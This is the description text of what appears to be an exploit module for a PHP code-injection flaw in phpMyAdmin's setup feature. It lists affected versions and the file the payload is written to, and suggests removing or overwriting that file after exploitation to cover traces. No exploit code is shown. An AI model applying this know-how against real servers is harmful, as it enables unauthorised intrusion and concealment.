  					This module exploits a vulnerability in PhpMyAdmin's setup
  				feature which allows an attacker to inject arbitrary PHP
  				code into a configuration file. The original advisory says
  				the vulnerability is present in phpMyAdmin versions 2.11.x
  				< 2.11.9.5 and 3.x < 3.1.3.1; this module was tested on
  				3.0.1.1.
  
  				The file where our payload is written
  				(phpMyAdmin/config/config.inc.php) is not directly used by
  				the system, so it may be a good idea to either delete it or
  				copy the running config (phpMyAdmin/config.inc.php) over it
  				after successful exploitation.
